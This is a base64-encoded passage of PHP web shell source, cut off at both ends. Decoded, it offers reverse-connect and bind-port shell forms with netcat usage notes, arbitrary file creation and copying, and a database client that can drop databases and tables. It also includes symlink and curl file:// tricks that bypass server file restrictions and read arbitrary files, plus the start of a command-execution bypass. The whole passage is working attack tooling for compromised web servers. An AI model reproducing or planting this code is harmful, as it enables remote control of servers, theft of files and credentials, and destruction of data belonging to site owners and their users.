SEhICk8YnI+PGhyPjxwIGFsaWduPSdjZW50ZXInPjw8PDw8PCBCYWNrIENvbm5lY3QgPj4+Pj4+PGJyPklwIEFkZHJlc3MgOiA8aW5wdXQgbmFtZT1pcGNiIHZhbHVlPSIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiI+IFBvcnQgOiA8aW5wdXQgbmFtZT1wb3J0YmMgdmFsdWU9NTU1NT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUNvbm5lY3Q+PC9mb3JtPiIuJGZvcm1wLiI8cCBhbGlnbj0nY2VudGVyJz5Vc2FnZSA6IFJ1biBOZXRjYXQgSW4gWW91ciBNYWNoaW4gQW5kIEV4ZWN1dGUgVGhpcyBDb21tYW5kKCBEaXNhYmxlIEZpcmV3YWxsICEhISApPGJyPjxocj48cCBhbGlnbj0nY2VudGVyJz48PDw8PDwgV2luZG93cyBCaW5kIFBvcnQgPj4+Pj4+PGJyPlBvcnQgOiA8aW5wdXQgbmFtZT1wb3J0YncgdmFsdWU9NTU1NT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUNvbm5lY3Q+PC9mb3JtPiIuJGZvcm1wLiI8cCBhbGlnbj0nY2VudGVyJz5Vc2FnZSA6IFJ1biBOZXRjYXQgSW4gWW91ciBNYWNoaW4gQW5kIEV4ZWN1dGUgVGhpcyBDb21tYW5kKCBEaXNhYmxlIEZpcmV3YWxsICEhISApPGJyPjxocj48cCBhbGlnbj0nY2VudGVyJz48PDw8PDwgTGludXggQmluZCBQb3J0ID4+Pj4+Pjxicj5Qb3J0IDogPGlucHV0IG5hbWU9cG9ydGJsIHZhbHVlPTU1NTU+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Db25uZWN0PjwvZm9ybT4iLiRlbmQ7ZXhpdDsNCg0KfQ0KZnVuY3Rpb24gY29weWYoJGZpbGUxLCRmaWxlMiwkZmlsZW5hbWUpew0KZ2xvYmFsICRzbGFzaDsNCiRmcGMgPSBmb3BlbigkZmlsZTEsICJyYiIpOw0KJHNvdXJjZSA9ICcnOw0Kd2hpbGUgKCFmZW9mKCRmcGMpKSB7DQokc291cmNlIC49IGZyZWFkKCRmcGMsIDgxOTIpOw0KfQ0KZmNsb3NlKCRmcGMpOw0KJG9wdCA9IGZvcGVuKCRmaWxlMi4kc2xhc2guJGZpbGVuYW1lLCAidyIpOw0KZndyaXRlKCRvcHQsICRzb3VyY2UpOw0KZmNsb3NlKCRvcHQpOw0KfQ0KaWYgKCRfUkVRVUVTVFsnY29weW5hbWUnXSAmJiAkX1JFUVVFU1RbJ2NweXRvJ10pew0KaWYoaXNfd3JpdGFibGUoJF9SRVFVRVNUWydjcHl0byddKSl7DQplY2hvICRfUkVRVUVTVFsnYWRkcmVzcyddOw0KY29weWYoJF9SRVFVRVNUWydhZGRyZXNzJ10uJHNsYXNoLiRfUkVRVUVTVFsnY29weW5hbWUnXSwkX1JFUVVFU1RbJ2NweXRvJ10sJF9SRVFVRVNUWydjb3B5bmFtZSddKTsNCn1lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCmlmKCRfUkVRVUVTVFsnY2ZpbGVuYW1lJ10pew0KDQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+PGI+Q3JlYXRlIEZpbGU8L2I+PGJyPjx0ZXh0YXJlYSByb3dzPSIxOSIgbmFtZT0ibmY0Y3MiIGNvbHM9Ijg3Ij48L3RleHRhcmVhPjxicj48aW5wdXQgdmFsdWU9IicuJF9SRVFVRVNUWydjZmlsZW5hbWUnXS4nIiBuYW1lPW5mNGMgc2l6ZT01MD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIENyZWF0ZSAgIj48L2Zvcm0+Jy4kZW5kO2V4aXQ7DQp9DQoNCmlmKCRfUkVRVUVTVFsnbmY0YyddICYmICRfUkVRVUVTVFsnbmY0Y3MnXSl7DQppZigkb2ZpbGU0Yz1mb3BlbigkX1JFUVVFU1RbJ25mNGMnXSwidyIpKXsNCmZ3cml0ZSgkb2ZpbGU0YywkX1JFUVVFU1RbJ25mNGNzJ10pOw0KZmNsb3NlKCRvZmlsZTRjKTsNCmFsZXJ0KCJGaWxlIFNhdmVkICEiKTt9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO319DQoNCmZ1bmN0aW9uIHNxbGNsaWVuVCgpew0KZ2xvYmFsICR0LCRlcnJvcmJveCwkZXQsJGhjd2Q7DQppZighZW1wdHkoJF9SRVFVRVNUWydzZXJ2ZVInXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsndXNlUiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc1MnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsncXVlclknXSkpew0KJHNlcnZlcj0kX1JFUVVFU1RbJ3NlcnZlUiddOyR0eXBlPSRfUkVRVUVTVFsndHlwRSddOyRwYXNzPSRfUkVRVUVTVFsncGFzUyddOyR1c2VyPSRfUkVRVUVTVFsndXNlUiddOyRxdWVyeT0kX1JFUVVFU1RbJ3F1ZXJZJ107DQokZGI9KGVtcHR5KCRfUkVRVUVTVFsnZEInXSkpPycnOiRfUkVRVUVTVFsnZEInXTsNCiRfU0VTU0lPTltzZXJ2ZXJdPSRfUkVRVUVTVFsnc2VydmVSJ107JF9TRVNTSU9OW3R5cGVdPSRfUkVRVUVTVFsndHlwRSddOyRfU0VTU0lPTltwYXNzXT0kX1JFUVVFU1RbJ3Bhc1MnXTskX1NFU1NJT05bdXNlcl09JF9SRVFVRVNUWyd1c2VSJ107DQoNCn0NCg0KaWYgKGlzc2V0ICgkX0dFVFtzZWxlY3RfZGJdKSl7DQoJJGdldGRiPSRfR0VUW3NlbGVjdF9kYl07DQoJJF9TRVNTSU9OW2RiXT0kZ2V0ZGI7DQoJJHF1ZXJ5PSJTSE9XIFRBQkxFUyI7DQoJJHJlcz1xdWVyWSgkX1NFU1NJT05bdHlwZV0sJF9TRVNTSU9OW3NlcnZlcl0sJF9TRVNTSU9OW3VzZXJdLCRfU0VTU0lPTltwYXNzXSwkX1NFU1NJT05bZGJdLCRxdWVyeSk7DQp9DQplbHNlaWYgKGlzc2V0ICgkX0dFVFtzZWxlY3RfdGJsXSkpew0KCSR0Ymw9JF9HRVRbc2VsZWN0X3RibF07DQoJJF9TRVNTSU9OW3RibF09JHRibDsNCgkkcXVlcnk9IlNFTEVDVCAqIEZST00gYCR0YmxgIjsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCn0NCmVsc2VpZiAoaXNzZXQgKCRfR0VUW2Ryb3BfZGJdKSl7DQoJJGdldGRiPSRfR0VUW2Ryb3BfZGJdOw0KCSRfU0VTU0lPTltkYl09JGdldGRiOw0KCSRxdWVyeT0iRFJPUCBEQVRBQkFTRSBgJGdldGRiYCI7DQoJcXVlclkoJF9TRVNTSU9OW3R5cGVdLCRfU0VTU0lPTltzZXJ2ZXJdLCRfU0VTU0lPTlt1c2VyXSwkX1NFU1NJT05bcGFzc10sJycsJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCcnLCdTSE9XIERBVEFCQVNFUycpOw0KfQ0KZWxzZWlmIChpc3NldCAoJF9HRVRbZHJvcF90YmxdKSl7DQoJJGdldGJsPSRfR0VUW2Ryb3BfdGJsXTsNCgkkcXVlcnk9IkRST1AgVEFCTEUgYCRnZXRibGAiOw0KCXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJ1NIT1cgVEFCTEVTJyk7DQp9DQplbHNlaWYgKGlzc2V0ICgkX0dFVFtkcm9wX3Jvd10pKXsNCgkkZ2V0cm93PSRfR0VUW2Ryb3Bfcm93XTsNCgkkZ2V0Y2xtPSRfR0VUW2NsbV07DQoJJHF1ZXJ5PSJERUxFVEUgRlJPTSBgJF9TRVNTSU9OW3RibF1gIFdIRVJFICRnZXRjbG09JyRnZXRyb3cnIjsNCgkkdGJsPSRfU0VTU0lPTlt0YmxdOw0KCXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sIlNFTEVDVCAqIEZST00gYCR0YmxgIik7DQp9DQplbHNlDQoJJHJlcz1xdWVyWSgkdHlwZSwkc2VydmVyLCR1c2VyLCRwYXNzLCRkYiwkcXVlcnkpOw0KDQppZigkcmVzKXsNCiRyZXM9aHRtbHNwZWNpYWxjaGFycygkcmVzKTsNCiRyb3c9YXJyYXkgKCk7DQokdGl0bGU9ZXhwbG9kZSgnWytdWytdWytdJywkcmVzKTsNCiR0cm93PWV4cGxvZGUoJ1stXVstXVstXScsJHRpdGxlWzFdKTsNCiRyb3c9ZXhwbG9kZSgnfCt8K3wrfCt8K3wnLCR0aXRsZVswXSk7DQokZGF0YT1hcnJheSgpOw0KJGZpZWxkPSR0cm93W2NvdW50KCR0cm93KS0yXTsNCmlmIChzdHJzdHIoJHRyb3dbMF0sJ0RhdGFiYXNlJykhPScnKQ0KCSRvYmo9J2RiJzsNCmVsc2VpZiAoc3Vic3RyKCR0cm93WzBdLDAsNik9PSdUYWJsZXMnKQ0KCSRvYmo9J3RibCc7DQplbHNlDQoJJG9iaj0ncm93JzsNCiRpPTA7DQpmb3JlYWNoICgkcm93IGFzICRhKXsNCmlmKCRhIT0nJykNCiRkYXRhWyRpKytdPWV4cGxvZGUoJ3wtfC18LXwtfC18JywkYSk7DQp9DQoNCmVjaG8gIjx0YWJsZSBib3JkZXI9MSBib3JkZXJjb2xvcj0nI0M2QzZDNicgY2VsbHBhZGRpbmc9JzInIGJnY29sb3I9J0VBRUFFQScgd2lkdGg9JzEwMCUnIHN0eWxlPSdib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlJz48dHI+IjsNCmZvcmVhY2ggKCR0cm93IGFzICR0aSkNCmVjaG8gIjx0ZCBiZ2NvbG9yPSdGMkYyRjInPiR0aTwvdGQ+IjsNCmVjaG8gIjwvdHI+IjsNCiRqPTA7DQp3aGlsZSAoJGRhdGFbJGpdKXsNCgllY2hvICI8dHI+IjsNCglmb3JlYWNoICgkZGF0YVskaisrXSBhcyAkZHIpew0KCQllY2hvICI8dGQ+IjsNCgkJaWYoJG9iaiE9J3JvdycpIGVjaG8gIjxhIGhyZWY9JyRfU0VSVkVSW1BIUF9TRUxGXT9kbz1kYiZzZWxlY3RfJG9iaj0kZHInPiI7DQoJCWVjaG8gJGRyOw0KCQlpZigkb2JqIT0ncm93JykgZWNobyAiPC9hPiI7DQoJCWVjaG8gIjwvdGQ+IjsNCgl9DQoJZWNobyAiPHRkPjxhIGhyZWY9JyRfU0VSVkVSW1BIUF9TRUxGXT9kbz1kYiZkcm9wXyRvYmo9JGRyIjsNCglpZigkb2JqPT0ncm93JykNCgkJZWNobyAiJmNsbT0kZmllbGQiOw0KCWVjaG8gIic+RHJvcDwvYT48L3RkPjwvdHI+IjsNCn0NCmVjaG8gIjwvdGFibGU+PGJyPiI7DQoNCn0NCg0KDQoNCgkNCg0KaWYoZW1wdHkoJF9SRVFVRVNUWyd0eXBFJ10pKSRfUkVRVUVTVFsndHlwRSddPScnOw0KZWNobyAiPGNlbnRlcj48Zm9ybSBuYW1lPWNsaWVudCBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJF9TRVJWRVJbUEhQX1NFTEZdP2RvPWRiJz48dGFibGUgYm9yZGVyPScxJyB3aWR0aD0nNDAwJyBzdHlsZT0nYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZScgaWQ9J3RhYmxlMScgYm9yZGVyY29sb3I9JyNDNkM2QzYnIGNlbGxwYWRkaW5nPScyJz48dHI+PHRkIHdpZHRoPSc0MDAnIGNvbHNwYW49JzInIGJnY29sb3I9JyNGMkYyRjInPjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJyBjb2xvcj0nIzQzMzkzNCc+Q29ubmVjdCB0byBEYXRhYmFzZTwvZm9udD48L2I+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9JzE1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGZvbnQgZmFjZT0nQXJpYWwnIHNpemU9JzInPkRCIFR5cGU6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxzZWxlY3QgbmFtZT10eXBFPjxvcHRpb24gdmFsdXQ9TXlTUUwgIG9uQ2xpY2s9J2RvY3VtZW50LmNsaWVudC5zZXJ2ZVIuZGlzYWJsZWQgPSBmYWxzZTsnICI7DQppZiAoJF9SRVFVRVNUWyd0eXBFJ109PSdNeVNRTCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk15U1FMPC9vcHRpb24+PG9wdGlvbiB2YWx1dD1NU1NRTCBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nTVNTUUwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NU1NRTDwvb3B0aW9uPjxvcHRpb24gdmFsdXQ9T3JhY2xlIG9uQ2xpY2s9J2RvY3VtZW50LmNsaWVudC5zZXJ2ZVIuZGlzYWJsZWQgPSB0cnVlOycgIjsNCmlmICgkX1JFUVVFU1RbJ3R5cEUnXT09J09yYWNsZScpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk9yYWNsZTwvb3B0aW9uPjxvcHRpb24gdmFsdXQ9UG9zdGdyZVNRTCBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nUG9zdGdyZVNRTCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPlBvc3RncmVTUUw8L29wdGlvbj48b3B0aW9uIHZhbHV0PURCMiBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nREIyJyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+SUJNIERCMjwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5TZXJ2ZXIgQWRkcmVzczo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9JzI1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT0nIjsNCmlmICghZW1wdHkoJF9SRVFVRVNUWydzZXJ2ZVInXSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1JFUVVFU1RbJ3NlcnZlUiddKTtlbHNlIGVjaG8gJ2xvY2FsaG9zdCc7IA0KZWNobyAiJyBuYW1lPXNlcnZlUiBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5Vc2VybmFtZTo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9JzI1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZVIgdmFsdWU9JyI7DQppZiAoIWVtcHR5KCRfUkVRVUVTVFsndXNlUiddKSkgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUkVRVUVTVFsndXNlUiddKTtlbHNlIGVjaG8gJ3Jvb3QnOyANCmVjaG8gIicgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nMTUwJyBiZ2NvbG9yPScjRUFFQUVBJz48Zm9udCBmYWNlPSdBcmlhbCcgc2l6ZT0nMic+UGFzc3dvcmQ6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxpbnB1dCB0eXBlPXRleHQgdmFsdWU9JyI7DQppZiAoaXNzZXQoJF9SRVFVRVNUWydwYXNTJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydwYXNTJ10pO2Vsc2UgZWNobyAnMTIzJzsgDQplY2hvICInIG5hbWU9cGFzUyBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSc0MDAnIGNvbHNwYW49JzInIGJnY29sb3I9JyNGMkYyRjInPjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJyBjb2xvcj0nIzQzMzkzNCc+U3VibWl0IGEgUXVlcnk8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5EQiBOYW1lOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0nMjUwJyBiZ2NvbG9yPScjRUFFQUVBJz48aW5wdXQgdHlwZT10ZXh0IHZhbHVlPSciOw0KaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2RCJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydkQiddKTsgDQplY2hvICInIG5hbWU9ZEIgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nMTUwJyBiZ2NvbG9yPScjRUFFQUVBJz48Zm9udCBmYWNlPSdBcmlhbCcgc2l6ZT0nMic+UXVlcnk6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjx0ZXh0YXJlYSBuYW1lPXF1ZXJZIHJvd3M9NSBjb2xzPTI3PiI7DQppZiAoIWVtcHR5KCRfUkVRVUVTVFsncXVlclknXSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygoJF9SRVFVRVNUWydxdWVyWSddKSk7ZWxzZSBlY2hvICdTSE9XIERBVEFCQVNFUyc7IA0KZWNobyAiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nNDAwJyBjb2xzcGFuPScyJyBiZ2NvbG9yPScjRUFFQUVBJz4kaGN3ZDxpbnB1dCBjbGFzcz1idXR0b25zIHR5cGU9c3VibWl0IHZhbHVlPSdTdWJtaXQnIHN0eWxlPSdmbG9hdDogcmlnaHQnPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4kZXQ8L2NlbnRlcj4iOw0KfQ0KDQoNCmZ1bmN0aW9uIHF1ZXJZKCR0eXBlLCRob3N0LCR1c2VyLCRwYXNzLCRkYj0nJywkcXVlcnkpew0KJHJlcz0nJzsNCnN3aXRjaCgkdHlwZSl7DQpjYXNlICdNeVNRTCc6DQppZighZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1teXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKTsNCmlmKCRsaW5rKXsNCmlmKCFlbXB0eSgkZGIpKW15c3FsX3NlbGVjdF9kYigkZGIsJGxpbmspOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkcXVlcnksJGxpbmspOw0KaWYgKCRyZXN1bHQhPTEpew0Kd2hpbGUoJGRhdGE9bXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KJHJlcy49bXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCn0NCm15c3FsX2Nsb3NlKCRsaW5rKTsNCnJldHVybiAkcmVzOw0KfQ0KYnJlYWs7DQpjYXNlICdNU1NRTCc6DQppZighZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1tc3NxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKTsNCmlmKCRsaW5rKXsNCmlmKCFlbXB0eSgkZGIpKW1zc3FsX3NlbGVjdF9kYigkZGIsJGxpbmspOw0KJHJlc3VsdD1tc3NxbF9xdWVyeSgkcXVlcnksJGxpbmspOw0Kd2hpbGUoJGRhdGE9bXNzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8bXNzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KJHJlcy49bXNzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCm1zc3FsX2Nsb3NlKCRsaW5rKTsNCnJldHVybiAkcmVzOw0KfQ0KYnJlYWs7DQpjYXNlICdPcmFjbGUnOg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSlyZXR1cm4gMDsNCiRsaW5rPW9jaWxvZ29uKCR1c2VyLCRwYXNzLCRkYik7DQppZigkbGluayl7DQokc3RtPW9jaXBhcnNlKCRsaW5rLCRxdWVyeSk7DQpvY2lleGVjdXRlKCRzdG0sT0NJX0RFRkFVTFQpOw0Kd2hpbGUoJGRhdGE9b2NpZmV0Y2hpbnRvKCRzdG0sJGRhdGEsT0NJX0FTU09DK09DSV9SRVRVUk5fTlVMTFMpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8b2NpX251bV9maWVsZHMoJHN0bSk7JGkrKykNCiRyZXMuPW9jaV9maWVsZF9uYW1lKCRzdG0sJGkpLidbLV1bLV1bLV0nOw0KcmV0dXJuICRyZXM7DQp9DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKXJldHVybiAwOw0KJGxpbms9cGdfY29ubmVjdCgiaG9zdD0kaG9zdCBkYm5hbWU9JGRiIHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MiKTsNCmlmKCRsaW5rKXsNCiRyZXN1bHQ9cGdfcXVlcnkoJGxpbmssJHF1ZXJ5KTsNCndoaWxlKCRkYXRhPXBnX2ZldGNoX3JvdygkcmVzdWx0KSkkcmVzLj1pbXBsb2RlKCd8LXwtfC18LXwtfCcsJGRhdGEpLid8K3wrfCt8K3wrfCc7DQokcmVzLj0nWytdWytdWytdJzsNCmZvcigkaT0wOyRpPHBnX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykNCiRyZXMuPXBnX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSkuJ1stXVstXVstXSc7DQpwZ19jbG9zZSgkbGluayk7DQpyZXR1cm4gJHJlczsNCn0NCmJyZWFrOw0KY2FzZSAnREIyJzoNCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2RiMl9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1kYjJfY29ubmVjdCgkZGIsJHVzZXIsJHBhc3MpOw0KaWYoJGxpbmspew0KJHJlc3VsdD1kYjJfZXhlYygkbGluaywkcXVlcnkpOw0Kd2hpbGUoJGRhdGE9ZGIyX2ZldGNoX3JvdygkcmVzdWx0KSkkcmVzLj1pbXBsb2RlKCd8LXwtfC18LXwtfCcsJGRhdGEpLid8K3wrfCt8K3wrfCc7DQokcmVzLj0nWytdWytdWytdJzsNCmZvcigkaT0wOyRpPGRiMl9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspDQokcmVzLj1kYjJfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCmRiMl9jbG9zZSgkbGluayk7DQpyZXR1cm4gJHJlczsNCn0NCmJyZWFrOw0KfQ0KcmV0dXJuIDA7DQp9DQpmdW5jdGlvbiBieXdzeW0oJGZpbGUpew0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKXtlY2hvICJGdW5jdGlvbiBTeW1saW5rIE5vdCBFeGlzdCI7fQ0KDQppZighaXNfd3JpdGFibGUoIi4iKSkNCglkaWUoIm5vdCB3cml0YWJsZSBkaXJlY3RvcnkiKTsNCiRsZXZlbD0wOw0KZm9yKCRhcz0wOyRhczwkZmFrZWRlcDskYXMrKyl7DQoJaWYoIWZpbGVfZXhpc3RzKCRmYWtlZGlyKSkNCgkJbWtkaXIoJGZha2VkaXIpOw0KCWNoZGlyKCRmYWtlZGlyKTsNCn0NCndoaWxlKDE8JGFzLS0pIGNoZGlyKCIuLiIpOw0KJGhhcmRzdHlsZSA9IGV4cGxvZGUoIi8iLCAkZmlsZSk7DQpmb3IoJGE9MDskYTxjb3VudCgkaGFyZHN0eWxlKTskYSsrKXsNCglpZighZW1wdHkoJGhhcmRzdHlsZVskYV0pKXsNCgkJaWYoIWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVbJGFdKSkgDQoJCQlta2RpcigkaGFyZHN0eWxlWyRhXSk7DQoJCWNoZGlyKCRoYXJkc3R5bGVbJGFdKTsNCgkJJGFzKys7DQp9fQ0KJGFzKys7DQp3aGlsZSgkYXMtLSkNCgljaGRpcigiLi4iKTsNCkBybWRpcigiZmFrZXN5bWxpbmsiKTsNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQpAc3ltbGluayhzdHJfcmVwZWF0KCRmYWtlZGlyLiIvIiwkZmFrZWRlcCksImZha2VzeW1saW5rIik7DQp3aGlsZSgxKQ0KCWlmKHRydWU9PShAc3ltbGluaygiZmFrZXN5bWxpbmsvIi5zdHJfcmVwZWF0KCIuLi8iLCRmYWtlZGVwLTEpLiRmaWxlLCAic3ltbGluayIuJG51bSkpKSBicmVhazsNCgllbHNlICRudW0rKzsNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQpta2RpcigiZmFrZXN5bWxpbmsiKTsNCn0NCmZ1bmN0aW9uIGJ5cGN1KCRmaWxlKXsNCiRsZXZlbD0wOw0KDQppZighZmlsZV9leGlzdHMoImZpbGU6IikpDQoJbWtkaXIoImZpbGU6Iik7DQpjaGRpcigiZmlsZToiKTsNCiRsZXZlbCsrOw0KDQokaGFyZHN0eWxlID0gZXhwbG9kZSgiLyIsICRmaWxlKTsNCg0KZm9yKCRhPTA7JGE8Y291bnQoJGhhcmRzdHlsZSk7JGErKyl7DQoJaWYoIWVtcHR5KCRoYXJkc3R5bGVbJGFdKSl7DQoJCWlmKCFmaWxlX2V4aXN0cygkaGFyZHN0eWxlWyRhXSkpIA0KCQkJbWtkaXIoJGhhcmRzdHlsZVskYV0pOw0KCQljaGRpcigkaGFyZHN0eWxlWyRhXSk7DQoJCSRsZXZlbCsrOw0KCX0NCn0NCg0Kd2hpbGUoJGxldmVsLS0pIGNoZGlyKCIuLiIpOw0KDQokY2ggPSBjdXJsX2luaXQoKTsNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZpbGU6ZmlsZTovLy8iLiRmaWxlKTsNCg0KZWNobyAnPEZPTlQgQ09MT1I9IlJFRCI+IDx0ZXh0YXJlYSByb3dzPSI0MCIgY29scz0iMTIwIj4nOw0KDQppZihGQUxTRT09Y3VybF9leGVjKCRjaCkpDQoJZGllKCc+U29ycnkuLi4gRmlsZSAnLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLicgZG9lc250IGV4aXN0cyBvciB5b3UgZG9udCBoYXZlIHBlcm1pc3Npb25zLicpOw0KDQplY2hvICcgPC90ZXh0YXJlYT4gPC9GT05UPic7DQoNCmN1cmxfY2xvc2UoJGNoKTsNCn0NCmlmICgkX1JFUVVFU1RbJ2J5cGN1J10pew0KYnlwY3UoJF9SRVFVRVNUWydieXBjdSddKTsNCn0NCmlmKCRfUkVRVUVTVFsnZG8nXT09ImJ5cGFzc2NtZCIpew0KaWYoJF9QT1NUWydieWN3J10pew0KZWNobyAkX1BPU1RbJ2J5Y3cnXTsNCiR3c2ggPSBu